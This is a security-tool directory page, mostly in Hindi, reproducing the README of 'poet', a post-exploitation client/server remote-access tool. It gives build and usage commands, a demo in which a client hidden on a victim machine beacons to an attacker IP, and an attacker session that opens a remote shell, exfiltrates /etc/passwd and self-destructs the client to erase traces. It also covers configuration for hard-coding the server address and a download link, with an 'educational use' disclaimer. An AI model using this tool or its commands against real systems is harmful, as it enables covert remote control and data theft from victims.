Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/offlinemark/poet
टोहीपेलोड जनरेशनडेटा निष्कासनपोस्ट-शोषणकमांड एंड कंट्रोलरेड टीमिंगरिमोट एक्सेस टूल
GitHubofflinemark/poet

poet

[अनुरक्षित] पोस्ट-एक्सप्लॉइटेशन उपकरण

रिपॉजिटरी देखें
18150310 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

poet

एक सरल पोस्ट-शोषण उपकरण।

अवलोकन

क्लाइंट प्रोग्राम लक्ष्य मशीन पर चलता है और एक आईपी पते (सर्वर) से जुड़ने के लिए कॉन्फ़िगर किया जाता है तथा एक आवृत्ति निर्धारित की जाती है जिस पर वह कनेक्ट होता है। यदि क्लाइंट के कनेक्ट करने के प्रयास के समय सर्वर नहीं चल रहा होता है, तो क्लाइंट चुपचाप सो जाता है और अगले अंतराल पर फिर प्रयास करता है। हालांकि, यदि सर्वर चल रहा है, तो हमलावर को एक नियंत्रण शेल प्राप्त होता है जिससे वह क्लाइंट को नियंत्रित कर सकता है और लक्ष्य पर विभिन्न कार्य कर सकता है जिनमें शामिल हैं:

  • टोही
  • रिमोट शेल
  • फ़ाइल बहिर्वहन
  • डाउनलोड और निष्पादन
  • स्व-विनाश

डेमो

यह Poet केवल एक छोटा सा नमूना है कि Poet क्या कर सकता है।

परिदृश्य यह है कि एक हमलावर ने पीड़ित की मशीन तक पहुंच प्राप्त कर ली है और क्लाइंट को डाउनलोड करके निष्पादित कर दिया है। उस समय सर्वर चालू नहीं है, लेकिन यह ठीक है, क्लाइंट धैर्यपूर्वक प्रतीक्षा करता है। अंततः हमलावर तैयार होता है और सर्वर शुरू करता है, पहले एक शेल शुरू करता है और uname -a निष्पादित करता है, फिर /etc/passwd को बहिर्वाहित करता है। फिर वह बाहर निकलती है और क्लाइंट से अलग हो जाती है, जो लक्ष्य पर चलता रहता है और सर्वर से जुड़ने के अगले अवसर की प्रतीक्षा करता है। बाद में, वह फिर से कनेक्ट होती है, क्लाइंट को स्व-विनाश कर देती है, और लक्ष्य से सभी निशान हटा देती है।

पीड़ित की मशीन (5.4.3.2):

root@kitploit:~
$ ./poet-client 1.2.3.4 10  # poet-client daemonizes, so there's nothing to see

चेतावनी: इस कमांड को चलाने के बाद, आपको या तो सर्वर से selfdestruct चलाना होगा, या क्लाइंट को रोकने के लिए poet-client प्रक्रिया को मारना होगा।

हमलावर की मशीन (1.2.3.4):

root@kitploit:~
$ sudo ./poet-server

                          _
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/
    /_/

[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet server started (port 443)
[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID
[+] (06/28/15 03:58:50) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > help
Commands:
  chint
  dlexec
  exec
  exfil
  exit
  help
  recon
  selfdestruct
  shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Exiting control shell
[-] (06/28/15 03:59:18) Poet server terminated
$ sudo ./poet-server

                          _
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/
    _/

[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet server started (port 443)
[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID
[+] (06/28/15 03:59:28) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > selfdestruct
[!] WARNING: You are about to permanently remove the client from the target.
    You will immediately lose access to the target. Continue? (y/n) y
[+] (06/28/15 03:59:33) Exiting control shell
[-] (06/28/15 03:59:33) Poet server terminated

आरंभ करना

रिलीज़ पृष्ठ पर जाएं और उपलब्ध नवीनतम poet-client और poet-server फ़ाइलें डाउनलोड करें।

फिर नीचे उपयोग अनुभाग पर जाएं।

वैकल्पिक रूप से, आप स्वयं Poet बना सकते हैं (यह काफी आसान है, नीचे देखें)।

निर्माण

सुनिश्चित करें कि आपके पास python2.7 और zip निष्पादन योग्य उपलब्ध हैं।

root@kitploit:~
$ git clone https://github.com/mossberg/poet
$ cd poet
$ make

इससे एक bin/ निर्देशिका बनेगी जिसमें poet-client और poet-server होंगे।

उपयोग

Poet का उपयोग करना बहुत आसान है, और इसके लिए Python (2.7) मानक पुस्तकालय के अलावा किसी और चीज़ की आवश्यकता नहीं है। इसे आसानी से परीक्षण करने के लिए, एक सामान्य आह्वान इस प्रकार दिखेगा:

टर्मिनल 1:

root@kitploit:~
$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct

डिफ़ॉल्ट रूप से, Poet क्लाइंट डेमॉन बन जाता है और स्वयं को डिस्क से हटा देता है, इसलिए --debug और --no-selfdestruct फ़्लैग का उपयोग करके उस व्यवहार को दबा दिया जाता है।

टर्मिनल 2:

root@kitploit:~
$ sudo ./poet-server

डिफ़ॉल्ट रूप से, सर्वर को रूट के रूप में (sudo का उपयोग करके) चलाने की आवश्यकता होती है क्योंकि यह डिफ़ॉल्ट रूप से पोर्ट 443 से बाइंड होता है। यदि यह आपको असुविधाजनक लगता है, तो बस sudo को हटा दें और क्लाइंट और सर्वर दोनों पर -p <PORT> फ़्लैग का उपयोग करें। अपने पोर्ट के लिए एक अच्छी, उच्च संख्या चुनें (> 1024)।

विन्यास

common/config.py फ़ाइल में Poet बिल्ड के लिए विभिन्न वैकल्पिक विन्यास सेटिंग्स हैं।

  • AUTH: क्लाइंट प्रमाणीकरण के लिए क्लाइंट और सर्वर के बीच साझा गुप्त प्रमाणीकरण टोकन। ध्यान दें कि डिफ़ॉल्ट एक बिल्कुल भी गुप्त नहीं है। किसी भी गैर-परीक्षण उपयोग के लिए, इसे किसी अन्य अनुमान लगाने योग्य मान में बदलने की अनुशंसा की जाती है। ध्यान दें कि पूर्व-निर्मित पैकेज डिफ़ॉल्ट, सार्वजनिक प्रमाणीकरण टोकन का उपयोग करते हैं।
  • ARCHIVE_DIR: सर्वर द्वारा फ़ाइलों (निष्पादन आउटपुट, बहिर्वहन, टोही, आदि) को संग्रहीत करने के लिए उपयोग की जाने वाली निर्देशिका।
  • SERVER_IP: सर्वर का आईपी पता।
  • BEACON_INTERVAL: सर्वर को क्लाइंट बीकन के बीच सेकंड में समय।

SERVER_IP और BEACON_INTERVAL कॉन्फ़िगरेशन जानकारी जो पहले कमांड लाइन तर्कों में आवश्यक थी, अंतिम निष्पादन योग्य में बेक की जा सकती है ताकि अंतिम निष्पादन योग्य को बिना किसी तर्क के चलाया जा सके। उनमें से किसी के लिए None मान डिफ़ॉल्ट व्यवहार पर वापस आ जाते हैं (SERVER_IP के लिए आवश्यक कमांड लाइन तर्क, BEACON_INTERVAL के लिए वैकल्पिक कमांड लाइन तर्क)।

क्लाइंट

root@kitploit:~
$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
                   IP [INTERVAL]

positional arguments:
  IP                    Poet Server
  INTERVAL              Beacon Interval, in seconds. Default: 600

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT
  --debug               show debug messages. implies --no-daemon
  --no-daemon           don't daemonize
  --no-selfdestruct     don't selfdestruct

Poet एक क्लाइंट/सर्वर एप्लिकेशन है। क्लाइंट लक्ष्य पर निष्पादित किया जाता है और एक निश्चित समय अंतराल पर सर्वर पर बीकन भेजता है। एकमात्र आवश्यक तर्क आईपी पता है जहां सर्वर चल रहा है या चलाया जाएगा। इसके बाद वैकल्पिक रूप से बीकन भेजने की आवृत्ति सेकंड में हो सकती है, जो डिफ़ॉल्ट रूप से 10 मिनट है। क्लाइंट जिस पोर्ट पर बीकन भेजता है, उसे -p फ़्लैग से निर्दिष्ट किया जा सकता है। अन्य सभी फ़्लैग "वास्तविक" उपयोग के दौरान उपयोग नहीं किए जाएंगे और मुख्य रूप से डिबगिंग के लिए मौजूद हैं।

सर्वर

root@kitploit:~
$ ./poet-server -h
usage: poet-server [-h] [-p PORT] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT
  -v, --version         prints the Poet version number and exits

सर्वर उपयोगकर्ता की अपनी मशीन पर निष्पादित किया जाता है और क्लाइंट से बीकन सुनता है। डिफ़ॉल्ट रूप से, यह एक विशेषाधिकार प्राप्त पोर्ट (443) पर सुनता है और इसे विशेषाधिकारों के साथ चलाया जाना चाहिए (जो बाइंडिंग के बाद जल्दी से गिरा दिए जाते हैं)। -p फ़्लैग का उपयोग एक गैर-विशेषाधिकार प्राप्त पोर्ट (>1024) चुनकर इससे बचने के लिए किया जा सकता है।

विस्तारक्षमता

Poet अपने मॉड्यूल फ्रेमवर्क के माध्यम से अत्यधिक विस्तार योग्य है, वास्तव में, posh शेल पर उपलब्ध लगभग हर कमांड एक मॉड्यूल के रूप में कार्यान्वित किया जाता है। उन्हें common/modules/ निर्देशिका में देखा जा सकता है। common/modules/template.py एक न्यूनतम उदाहरण मॉड्यूल के रूप में कार्य करता है, जिसे प्रारंभिक बिंदु के रूप में उपयोग किया जाएगा। Poet मॉड्यूल जोड़ने के लिए, इसे बस common/modules/ निर्देशिका में रखें और make का उपयोग करके Poet को पुनर्निर्मित करें।

यहां एक सरल उदाहरण मॉड्यूल है जो क्लाइंट और सर्वर के बीच बुनियादी संचार दिखाता है। मॉड्यूल एक posh कमांड पंजीकृत करता है, एक स्ट्रिंग भेजता है, क्लाइंट इसे उलट देता है और वापस भेजता है, और सर्वर इसे प्रिंट करता है।

root@kitploit:~
# Note: this module doesn't check if an argv[1] was given

import module


@module.server_handler('reverse')
def server(server, argv):
    print 'Sending: {}'.format(argv[1])
    # argv here is ['reverse', ...]
    response = server.conn.exchange(' '.join(argv))
    print 'Received: {}'.format(response)


@module.client_handler('reverse')
def client(client, inp):
    # inp here is 'reverse ...'
    client.s.send(inp.split()[1][::-1])

मॉड्यूल इस प्रकार शुरू होता है:

root@kitploit:~
import module

यह आवश्यक है, और मॉड्यूल फ्रेमवर्क में पंजीकरण के लिए आवश्यक है।

अगला भाग मॉड्यूल का सर्वर-साइड घटक है।

root@kitploit:~
@module.server_handler('reverse')
def server(server, argv):
    print 'Sending: {}'.format(argv[1])
    # argv here is ['reverse', ...]
    response = server.conn.exchange(' '.join(argv))
    print 'Received: {}'.format(response)

@module.server_handler() डेकोरेटर का उपयोग एक posh कमांड पंजीकृत करने के लिए किया जाता है, डेकोरेटर पैरामीटर के रूप में कमांड नाम पास करके और कमांड चलाए जाने पर निष्पादित करने के लिए एक हैंडलर फ़ंक्शन परिभाषित करके। हैंडलर फ़ंक्शन को दो पैरामीटर स्वीकार करने होते हैं। एक PoetServer का उदाहरण है जिसने मॉड्यूल को कॉल किया, और दूसरा दर्ज किया गया कमांड स्ट्रिंग है, जिसे तर्कों की सूची के रूप में दर्शाया गया है। सर्वर उदाहरण मॉड्यूल के लिए मौजूद है ताकि वह क्लाइंट के साथ संवाद करने, संग्रह निर्देशिका में फ़ाइलें लिखने आदि के लिए सहायक फ़ंक्शन का उपयोग कर सके। मॉड्यूल server.conn.exchange() का उपयोग करके दर्ज की गई कमांड लाइन को एक स्ट्रिंग के रूप में क्लाइंट को भेजता है और वापसी मान के रूप में प्रतिक्रिया प्राप्त करता है।

मॉड्यूल का क्लाइंट-साइड घटक अगला है।

root@kitploit:~
@module.client_handler('reverse')
def client(client, inp):
    # inp here is 'reverse ...'
    client.s.send(inp.split()[1][::-1])

@module.client_handler() डेकोरेटर का उपयोग क्लाइंट के लिए एक कार्य पंजीकृत करने के लिए किया जाता है जिस पर वह प्रतिक्रिया करेगा और संसाधित करेगा। चूंकि क्लाइंट और सर्वर उनके बीच स्ट्रिंग पास करके संवाद करते हैं, स्ट्रिंग का पहला भाग किसी विशेष कार्य के लिए कीवर्ड है। मॉड्यूल एक क्लाइंट हैंडलर फ़ंक्शन पंजीकृत करता है जो तब निष्पादित होता है जब सर्वर से 'reverse' से शुरू होने वाला कोई संदेश आता है। सर्वर हैंडलर के समान, क्लाइंट हैंडलर को उस PoetClient के उदाहरण के लिए पैरामीटर स्वीकार करने होते हैं जिसने इसे कॉल किया, और सर्वर से पास किया गया इनपुट स्ट्रिंग। फिर क्लाइंट client.s.send() फ़ंक्शन का उपयोग करके डेटा वापस सर्वर को भेजता है, इस मामले में, पहला तर्क, उल्टा।

कार्य में, यह इस प्रकार दिखता है:

root@kitploit:~
posh > reverse poet
Sending: poet
Received: teop

चिंताएँ

दस्तावेजित चिंताएँ:

  • क्रिप्टोग्राफिक रूप से संरक्षित संचार का अभाव
  • कम अंतराल के बीकन शोरगुल वाले होते हैं और जब सर्वर निष्क्रिय होता है तो TCP RST उत्पन्न करते हैं
  • शेल कमांड एक "वास्तविक" शेल नहीं है और मानक शेल में पाए जाने वाले अधिकांश बिल्ट-इन का समर्थन नहीं करता है

अस्वीकरण

मैं Poet को पूरी तरह से अपनी शिक्षा और सीखने के अनुभव के लिए बना रहा हूँ। कोड स्वतंत्र रूप से उपलब्ध है क्योंकि मुझे लगता है कि यह उन लोगों के लिए उपयोगी हो सकता है जो इस तरह की चीज़ों के बारे में सीखने में रुचि रखते हैं। इसका उपयोग जिम्मेदारी से करें।

टूल डाउनलोड करें